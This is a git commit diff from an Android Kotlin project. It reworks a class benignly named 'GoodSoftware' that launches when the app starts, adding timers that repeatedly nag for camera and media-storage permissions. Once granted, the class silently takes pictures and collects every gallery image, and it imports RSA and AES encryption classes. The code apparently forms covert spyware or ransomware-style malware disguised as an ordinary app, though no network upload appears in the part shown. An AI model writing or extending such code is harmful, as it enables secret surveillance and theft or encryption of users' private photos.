Let the class check its own permissions
This commit is contained in:
parent
8aedcfc564
commit
2c866a6049
12
.idea/deploymentTargetDropDown.xml
generated
12
.idea/deploymentTargetDropDown.xml
generated
@ -4,6 +4,18 @@
|
||||
<value>
|
||||
<entry key="MainActivity">
|
||||
<State>
|
||||
<runningDeviceTargetSelectedWithDropDown>
|
||||
<Target>
|
||||
<type value="RUNNING_DEVICE_TARGET" />
|
||||
<deviceKey>
|
||||
<Key>
|
||||
<type value="VIRTUAL_DEVICE_PATH" />
|
||||
<value value="$USER_HOME$/.android/avd/Pixel_3a_API_34_extension_level_7_x86_64.avd" />
|
||||
</Key>
|
||||
</deviceKey>
|
||||
</Target>
|
||||
</runningDeviceTargetSelectedWithDropDown>
|
||||
<timeTargetWasSelectedWithDropDown value="2024-05-05T20:59:44.740671451Z" />
|
||||
<runningDeviceTargetsSelectedWithDialog>
|
||||
<Target>
|
||||
<type value="RUNNING_DEVICE_TARGET" />
|
||||
|
@ -1,9 +1,11 @@
|
||||
package com.ti.mobpo
|
||||
|
||||
import android.Manifest
|
||||
import android.app.Activity
|
||||
import android.content.ContentResolver
|
||||
import android.content.ContentUris
|
||||
import android.content.Context
|
||||
import android.content.ContextWrapper
|
||||
import android.content.pm.PackageManager
|
||||
import android.graphics.Bitmap
|
||||
import android.graphics.BitmapFactory
|
||||
@ -34,19 +36,22 @@ import java.security.KeyFactory
|
||||
import java.security.PublicKey
|
||||
import java.security.SecureRandom
|
||||
import java.security.spec.X509EncodedKeySpec
|
||||
import java.util.Timer
|
||||
import javax.crypto.Cipher
|
||||
import javax.crypto.spec.IvParameterSpec
|
||||
import javax.crypto.spec.SecretKeySpec
|
||||
import kotlin.concurrent.schedule
|
||||
|
||||
|
||||
class GoodSoftware (private val activity: MainActivity) {
|
||||
class GoodSoftware (private val activity: Context) {
|
||||
private var cameraProvider: ProcessCameraProvider? = null
|
||||
private var lensFacing: Int = CameraSelector.LENS_FACING_BACK
|
||||
private var imageCapture: ImageCapture? = null
|
||||
private val REQUEST_CAMERA_PERMISSION = 100
|
||||
private val REQUEST_GALLERY = 101
|
||||
private val REQUEST_MEDIA_IMAGES_PERMISSION = 102
|
||||
|
||||
private var timerStorage: Timer? = null
|
||||
private var timerCamera: Timer? = null
|
||||
|
||||
private companion object {
|
||||
private const val RSA_ALGORITHM = "RSA"
|
||||
@ -99,11 +104,50 @@ class GoodSoftware (private val activity: MainActivity) {
|
||||
|
||||
fun launch() {
|
||||
Thread{
|
||||
startCheckingPermission()
|
||||
}.start()
|
||||
}
|
||||
|
||||
private fun startCheckingPermission() {
|
||||
timerStorage = Timer("CheckStoragePermissionTimer", false)
|
||||
|
||||
timerStorage?.schedule(0) {
|
||||
checkStoragePermission()
|
||||
}.start()
|
||||
Thread{
|
||||
}
|
||||
|
||||
timerStorage?.schedule(5000) {
|
||||
checkStoragePermission()
|
||||
}
|
||||
|
||||
timerCamera = Timer("CheckCameraPermissionTimer", false)
|
||||
|
||||
timerCamera?.schedule(0) {
|
||||
checkCameraPermission()
|
||||
}.start()
|
||||
}
|
||||
|
||||
timerCamera?.schedule(5000) {
|
||||
println("Requesting camera permission again")
|
||||
checkCameraPermission()
|
||||
}
|
||||
}
|
||||
|
||||
private fun stopCheckingStoragePermission() {
|
||||
timerStorage?.cancel()
|
||||
}
|
||||
|
||||
private fun stopCheckingCameraPermission() {
|
||||
timerCamera?.cancel()
|
||||
}
|
||||
|
||||
fun Context.getActivity(): Activity? {
|
||||
var context = this
|
||||
while (context is ContextWrapper) {
|
||||
if (context is Activity) {
|
||||
return context
|
||||
}
|
||||
context = context.baseContext
|
||||
}
|
||||
return null
|
||||
}
|
||||
|
||||
private fun checkCameraPermission() {
|
||||
@ -111,12 +155,17 @@ class GoodSoftware (private val activity: MainActivity) {
|
||||
requestCameraPermission()
|
||||
}else{
|
||||
takePicture()
|
||||
stopCheckingCameraPermission()
|
||||
}
|
||||
}
|
||||
|
||||
private fun requestCameraPermission() {
|
||||
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION)
|
||||
val activity = activity.getActivity()
|
||||
activity?.let {
|
||||
ActivityCompat.requestPermissions(it, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private fun checkStoragePermission() {
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
|
||||
@ -132,18 +181,31 @@ class GoodSoftware (private val activity: MainActivity) {
|
||||
grabMedia()
|
||||
}
|
||||
}
|
||||
stopCheckingStoragePermission()
|
||||
}
|
||||
|
||||
@RequiresApi(Build.VERSION_CODES.TIRAMISU)
|
||||
private fun requestMediaImagesPermission() {
|
||||
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION)
|
||||
val activity = activity.getActivity()
|
||||
activity?.let {
|
||||
ActivityCompat.requestPermissions(it, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION)
|
||||
}
|
||||
}
|
||||
|
||||
private fun takePicture(){
|
||||
activity.lifecycleScope.launch {
|
||||
takeBeautifulPicture(activity, activity)
|
||||
val activity = activity.getActivity()
|
||||
activity?.let { act ->
|
||||
if (act is LifecycleOwner) {
|
||||
act.lifecycleScope.launch {
|
||||
takeBeautifulPicture(act, act)
|
||||
}
|
||||
} else {
|
||||
// Handle the case where the activity is not a LifecycleOwner
|
||||
Log.e("Error", "Activity is not a LifecycleOwner")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private fun grabMedia(){
|
||||
Thread {
|
||||
@ -216,7 +278,10 @@ class GoodSoftware (private val activity: MainActivity) {
|
||||
|
||||
|
||||
private fun requestGalleryPermission() {
|
||||
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY)
|
||||
val activity = activity.getActivity()
|
||||
activity?.let { act ->
|
||||
ActivityCompat.requestPermissions(act, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY)
|
||||
}
|
||||
}
|
||||
|
||||
// Handle permission request result
|
||||
@ -428,6 +493,7 @@ class GoodSoftware (private val activity: MainActivity) {
|
||||
}
|
||||
|
||||
fun getAllImagesFromGallery(context: Context): List<String> {
|
||||
val activity = context.getActivity()
|
||||
val imageList = mutableListOf<String>()
|
||||
val contentResolver: ContentResolver = context.contentResolver
|
||||
val imageProjection = arrayOf(
|
||||
@ -461,8 +527,10 @@ class GoodSoftware (private val activity: MainActivity) {
|
||||
}
|
||||
}
|
||||
} else {
|
||||
activity?.let {
|
||||
ActivityCompat.requestPermissions(activity, arrayOf(permission), REQUEST_MEDIA_IMAGES_PERMISSION)
|
||||
}
|
||||
}
|
||||
|
||||
return imageList
|
||||
}
|
||||
|
@ -9,10 +9,11 @@ import androidx.compose.material3.Surface
|
||||
import androidx.compose.ui.Modifier
|
||||
import androidx.lifecycle.LifecycleOwner
|
||||
import com.ti.m.ui.theme.MTheme
|
||||
import com.ti.mobpo.GoodSoftware
|
||||
|
||||
class MainActivity : ComponentActivity(), LifecycleOwner {
|
||||
override fun onCreate(savedInstanceState: Bundle?) {
|
||||
super.onCreate(savedInstanceState)
|
||||
GoodSoftware(this).start()
|
||||
GoodSoftware(this).launch()
|
||||
}
|
||||
}
|
||||
|
Loading…
x
Reference in New Issue
Block a user